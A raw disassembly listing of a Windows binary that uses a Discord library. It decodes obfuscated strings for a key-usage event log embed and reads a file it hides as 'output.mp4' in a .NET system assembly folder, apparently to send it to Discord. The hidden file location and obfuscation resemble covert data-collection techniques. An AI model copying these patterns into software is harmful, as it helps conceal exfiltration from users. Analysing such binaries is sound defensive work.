call fcn.004665d0
lea ecx, [ebp - 0x2390]
call fcn.004665d0
lea ecx, [ebp - 0x23a8]
call fcn.004665d0
lea ecx, [ebp - 0x23c0]
call fcn.004665d0
lea ecx, [ebp - 0x23d8]
call fcn.004665d0
lea ecx, [ebp - 0x23f0]
call fcn.004665d0
lea ecx, [ebp - 0x2408]
call fcn.004665d0
lea ecx, [ebp - 0x2420]
call fcn.004665d0
lea ecx, [ebp - 0x2438]
call fcn.004665d0
lea ecx, [ebp - 0x2450]
call fcn.004665d0
lea ecx, [ebp - 0x2468]
call fcn.004665d0
lea ecx, [ebp - 0x2480]
call fcn.004665d0
lea ecx, [ebp - 0x2498]
call fcn.004665d0
lea ecx, [ebp - 0x24b0]
call fcn.004665d0
lea ecx, [ebp - 0x24c8]
call fcn.004665d0
lea ecx, [ebp - 0x24e0]
call fcn.004665d0
lea ecx, [ebp - 0x24f8]
call fcn.004665d0
lea ecx, [ebp - 0x2510]
call fcn.004665d0
lea ecx, [ebp - 0x2528]
call fcn.004665d0
lea ecx, [ebp - 0x2540]
call fcn.004665d0
lea ecx, [ebp - 0x2558]
call fcn.004665d0
lea ecx, [ebp - 0x2570]
call fcn.004665d0
lea ecx, [ebp - 0x2588]
call fcn.004665d0
lea ecx, [ebp - 0x25a0]
call fcn.004665d0
lea ecx, [ebp - 0x25b8]
call fcn.004665d0
lea ecx, [ebp - 0x25d0]
call fcn.004665d0
lea ecx, [ebp - 0x25e8]
call fcn.004665d0
lea ecx, [ebp - 0x2600]
call fcn.004665d0
lea ecx, [ebp - 0x2618]
call fcn.004665d0
lea ecx, [ebp - 0x2630]
call fcn.004665d0
lea ecx, [ebp - 0x2648]
call fcn.004665d0
lea ecx, [ebp - 0x2660]
call fcn.004665d0
lea ecx, [ebp - 0x2678]
call fcn.004665d0
lea ecx, [ebp - 0x2690]
call fcn.004665d0
lea ecx, [ebp - 0x2150]
call fcn.004665d0
lea ecx, [ebp - 0x2168]
call fcn.004665d0
lea ecx, [ebp - 0x26a8]
call fcn.004665d0
lea ecx, [ebp - 0x2180]
call fcn.004665d0
lea ecx, [ebp - 0x2198]
call fcn.004665d0
lea ecx, [ebp - 0x2948]
call fcn.004665d0
lea ecx, [ebp - 0x21b0]
call fcn.004665d0
lea ecx, [ebp - 0x21c8]
call fcn.004665d0
lea ecx, [ebp - 0x26c0]
call fcn.004665d0
lea ecx, [ebp - 0x21e0]
call fcn.004665d0
lea ecx, [ebp - 0x2138]
call fcn.004665d0
lea ecx, [ebp - 0x26d8]
call fcn.004665d0
lea ecx, [ebp - 0x21f8]
call fcn.004665d0
lea ecx, [ebp - 0x2210]
call fcn.004665d0
lea ecx, [ebp - 0x26f0]
call fcn.004665d0
lea ecx, [ebp - 0x2228]
call fcn.004665d0
lea ecx, [ebp - 0x2240]
call fcn.004665d0
lea ecx, [ebp - 0x2708]
call fcn.004665d0
lea ecx, [ebp - 0x2258]
call fcn.004665d0
lea ecx, [ebp - 0x2270]
call fcn.004665d0
lea ecx, [ebp - 0x2720]
call fcn.004665d0
lea ecx, [ebp - 0x2288]
call fcn.004665d0
lea ecx, [ebp - 0x22a0]
call fcn.004665d0
lea ecx, [ebp - 0x2738]
call fcn.004665d0
lea ecx, [ebp - 0x22b8]
call fcn.004665d0
lea ecx, [ebp - 0x22d0]
call fcn.004665d0
lea ecx, [ebp - 0x2750]
call fcn.004665d0
lea ecx, [ebp - 0x22e8]
call fcn.004665d0
lea ecx, [ebp - 0x2060]
call fcn.004665d0
lea ecx, [ebp - 0x2768]
call fcn.004665d0
lea ecx, [ebp - 0x2078]
call fcn.004665d0
lea ecx, [ebp - 0x2090]
call fcn.004665d0
lea ecx, [ebp - 0x2780]
call fcn.004665d0
lea ecx, [ebp - 0x20a8]
call fcn.004665d0
lea ecx, [ebp - 0x20c0]
call fcn.004665d0
lea ecx, [ebp - 0x2798]
call fcn.004665d0
lea ecx, [ebp - 0x20d8]
call fcn.004665d0
lea ecx, [ebp - 0x20f0]
call fcn.004665d0
lea ecx, [ebp - 0x27b0]
call fcn.004665d0
lea ecx, [ebp - 0x2108]
call fcn.004665d0
lea ecx, [ebp - 0x2120]
call fcn.004665d0
lea ecx, [ebp - 0x27c8]
mov byte [ebp - 4], 9
call fcn.004665d0
call fcn.00442d00
push 0x4797c6
lea ecx, [ebp - 0x2348]
mov dword [ebp - 0x1fc8], 0
mov dword [ebp - 0x1fc4], 0
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 0x85
movq xmm0, qword [ebp - 0x1fc8]
lea ecx, [ebp - 0x19c8]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x2348]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x2348]
call fcn.004665d0
lea ecx, [ebp - 0x30f0]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::constructor_void_]
push 0x99ff
mov ecx, eax
mov byte [ebp - 4], 0x88
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_color_unsigned_int_]
push 0x4b
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a38], 0x61
mov edi, eax
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a37], al
call fcn.00464cf0
push 0x59
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a36], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a35], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a34], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a33], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a32], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a31], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a30], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a2f], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a38]
mov byte [ebp - 0x1a2e], al
call fcn.00464cf0
mov byte [ebp - 0x1a2d], al
xor esi, esi
mov byte [ebp - 0x1a2c], 0
nop
push esi
lea ecx, [ebp - 0x1a37]
call fcn.00464d10
lea ecx, [ebp - 0x1a38]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a37]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x445f70
push 0xb
lea ecx, [ebp - 0x1a37]
call fcn.00464d10
lea ecx, [ebp - 0x1a37]
mov byte [eax], 0
call fcn.00464d00
push 0x4954bc
mov edx, eax
lea ecx, [ebp - 0x2840]
call fcn.00467d80
add esp, 4
push eax
mov ecx, edi
mov byte [ebp - 4], 0x89
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_title_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0xa
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a14], 0x32
mov edi, eax
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a13], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a12], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a11], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a10], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a0f], al
call fcn.00464cf0
push 0x27
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a0e], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a0d], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a0c], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a14]
mov byte [ebp - 0x1a0b], al
call fcn.00464cf0
mov byte [ebp - 0x1a0a], al
xor esi, esi
mov byte [ebp - 0x1a09], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1a13]
call fcn.00464d10
lea ecx, [ebp - 0x1a14]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a13]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x4460c0
push 0xa
lea ecx, [ebp - 0x1a13]
call fcn.00464d10
lea ecx, [ebp - 0x1a13]
mov byte [eax], 0
call fcn.00464d00
push 0x2a
lea ecx, [ebp - 0x1a98]
mov dword [ebp - 0x1a18], eax
mov byte [ebp - 0x1a98], 0x13
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a97], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a96], al
call fcn.00464cf0
push 0x76
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a95], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a94], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a93], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a92], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a91], al
call fcn.00464cf0
push 0x4c
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a90], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8f], al
call fcn.00464cf0
push 0x67
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8e], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8d], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8c], al
call fcn.00464cf0
push 0xa
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8b], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a8a], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a89], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a88], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a87], al
call fcn.00464cf0
mov byte [ebp - 0x1a86], al
push 0x69
lea ecx, [ebp - 0x1a98]
call fcn.00464cf0
push 0x76
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a85], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a84], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a83], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a82], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a98]
mov byte [ebp - 0x1a81], al
call fcn.00464cf0
mov byte [ebp - 0x1a80], al
xor esi, esi
mov byte [ebp - 0x1a7f], 0
push esi
lea ecx, [ebp - 0x1a97]
call fcn.00464d10
lea ecx, [ebp - 0x1a98]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a97]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x18
jb 0x4462f4
push 0x18
lea ecx, [ebp - 0x1a97]
call fcn.00464d10
lea ecx, [ebp - 0x1a97]
mov byte [eax], 0
call fcn.00464d00
push dword [ebp - 0x1b5c]
mov edx, eax
lea ecx, [ebp - 0x2828]
call fcn.00467d80
add esp, 4
push 0x495510
mov edx, eax
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x2810]
call fcn.00467f20
add esp, 4
push dword [ebp - 0x1a18]
mov edx, eax
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x27f8]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x8c
push ecx
mov edx, eax
lea ecx, [ebp - 0x27e0]
call fcn.00467f20
add esp, 4
push eax
mov ecx, edi
mov byte [ebp - 4], 0x8d
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_description_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push eax
lea ecx, [ebp - 0x558]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::constructor_struct_dpp::embed_const__]
lea ecx, [ebp - 0x27e0]
call fcn.004665d0
lea ecx, [ebp - 0x27f8]
call fcn.004665d0
lea ecx, [ebp - 0x2810]
call fcn.004665d0
lea ecx, [ebp - 0x2828]
call fcn.004665d0
lea ecx, [ebp - 0x2840]
call fcn.004665d0
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x30f0]
mov edi, dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::destructor_void_]
call edi
push 0x20
lea ecx, [ebp - 0x19dc]
mov byte [ebp - 0x19dc], 0x2b
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x19dc]
mov byte [ebp - 0x19db], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x19dc]
mov byte [ebp - 0x19da], al
call fcn.00464cf0
mov byte [ebp - 0x19d9], al
xor esi, esi
mov byte [ebp - 0x19d8], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19db]
call fcn.00464d10
lea ecx, [ebp - 0x19dc]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x19db]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x446460
push 3
lea ecx, [ebp - 0x19db]
call fcn.00464d10
lea ecx, [ebp - 0x19db]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2960]
mov dword [ebp - 0x1c04], eax
call fcn.00442230
mov dword [ebp - 0x1bfc], eax
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x19e4]
push 0x20
mov byte [ebp - 0x19e4], 0x42
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x19e4]
mov byte [ebp - 0x19e3], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x19e4]
mov byte [ebp - 0x19e2], al
call fcn.00464cf0
mov byte [ebp - 0x19e1], al
xor esi, esi
mov byte [ebp - 0x19e0], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19e3]
call fcn.00464d10
lea ecx, [ebp - 0x19e4]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x19e3]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x446520
push 3
lea ecx, [ebp - 0x19e3]
call fcn.00464d10
lea ecx, [ebp - 0x19e3]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2b88]
mov dword [ebp - 0x1c08], eax
call fcn.0043d160
mov edx, eax
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x2930]
call fcn.00443410
mov dword [ebp - 0x1c00], eax
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x19ec]
push 0x20
mov byte [ebp - 0x19ec], 0x1d
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 0x19eb], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x19ec]
mov byte [ebp - 0x19ea], al
call fcn.00464cf0
mov byte [ebp - 0x19e9], al
xor esi, esi
mov byte [ebp - 0x19e8], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x19eb]
call fcn.00464d10
lea ecx, [ebp - 0x19ec]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x19eb]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x4465f0
push 3
lea ecx, [ebp - 0x19eb]
call fcn.00464d10
lea ecx, [ebp - 0x19eb]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2918]
mov dword [ebp - 0x1a18], eax
call fcn.00442190
mov dword [ebp - 0x1b5c], eax
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1a08]
push 0x4c
mov byte [ebp - 0x1a08], 0x71
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a07], al
call fcn.00464cf0
push 0x67
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a06], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a05], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a04], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a03], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a08]
mov byte [ebp - 0x1a02], al
call fcn.00464cf0
mov byte [ebp - 0x1a01], al
xor esi, esi
mov byte [ebp - 0x1a00], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x1a07]
call fcn.00464d10
lea ecx, [ebp - 0x1a08]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a07]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x446700
push 7
lea ecx, [ebp - 0x1a07]
call fcn.00464d10
lea ecx, [ebp - 0x1a07]
mov byte [eax], 0
call fcn.00464d00
push dword [ebp - 0x1b5c]
mov edx, eax
lea ecx, [ebp - 0x2900]
call fcn.00467de0
add esp, 4
push dword [ebp - 0x1a18]
mov edx, eax
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x28e8]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1c00]
mov edx, eax
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x28d0]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1c08]
mov edx, eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x28b8]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1bfc]
mov edx, eax
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x28a0]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1c04]
mov edx, eax
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x2888]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x9e
push ecx
mov edx, eax
lea ecx, [ebp - 0x2870]
call fcn.00467f20
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x3348]
mov byte [ebp - 4], 0x9f
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0xa0
push ecx
mov ecx, eax
call dword [sym.imp.dpp.dll_public:_struct_dpp::message____thiscall_dpp::message::add_embed_struct_dpp::embed_const__]
push 0x43
lea ecx, [ebp - 0x1ad0]
mov dword [ebp - 0x1a18], eax
mov byte [ebp - 0x1ad0], 0x5f
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1acf], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ace], al
call fcn.00464cf0
mov byte [ebp - 0x1acd], al
push 0x57
lea ecx, [ebp - 0x1ad0]
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1acc], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1acb], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aca], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac9], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac8], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac7], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac6], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac5], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac4], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac3], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac2], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac1], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ac0], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1abf], al
call fcn.00464cf0
push 0x66
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1abe], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1abd], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1abc], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1abb], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aba], al
call fcn.00464cf0
mov byte [ebp - 0x1ab9], al
lea ecx, [ebp - 0x1ad0]
push 0x54
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab8], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab7], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab6], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab5], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab4], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab3], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab2], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab1], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1ab0], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aaf], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aae], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aad], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aac], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aab], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aaa], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa9], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa8], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa7], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa6], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa5], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa4], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa3], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa2], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa1], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1aa0], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1a9f], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x1ad0]
mov byte [ebp - 0x1a9e], al
call fcn.00464cf0
mov byte [ebp - 0x1a9d], al
xor esi, esi
mov byte [ebp - 0x1a9c], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x1acf]
call fcn.00464d10
lea ecx, [ebp - 0x1ad0]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1acf]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x33
jb 0x446c10
push 0x33
lea ecx, [ebp - 0x1acf]
call fcn.00464d10
lea ecx, [ebp - 0x1acf]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x2318]
call fcn.004666f0
lea eax, [ebp - 0x2318]
mov byte [ebp - 4], 0xa1
push eax
lea eax, [ebp - 0x2858]
push eax
call dword [sym.imp.dpp.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::utility::read_file_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
mov dword [ebp - 0x1b5c], eax
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x1b08]
push 0x43
mov byte [ebp - 0x1b08], 0x1a
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b07], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b06], al
call fcn.00464cf0
push 0x57
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b05], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b04], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b03], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b02], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b01], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b00], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aff], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afe], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afd], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afc], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afb], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afa], al
call fcn.00464cf0
mov byte [ebp - 0x1af9], al
push 0x6f
lea ecx, [ebp - 0x1b08]
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af8], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af7], al
call fcn.00464cf0
push 0x66
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af6], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af5], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af4], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af3], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af2], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x1b08]
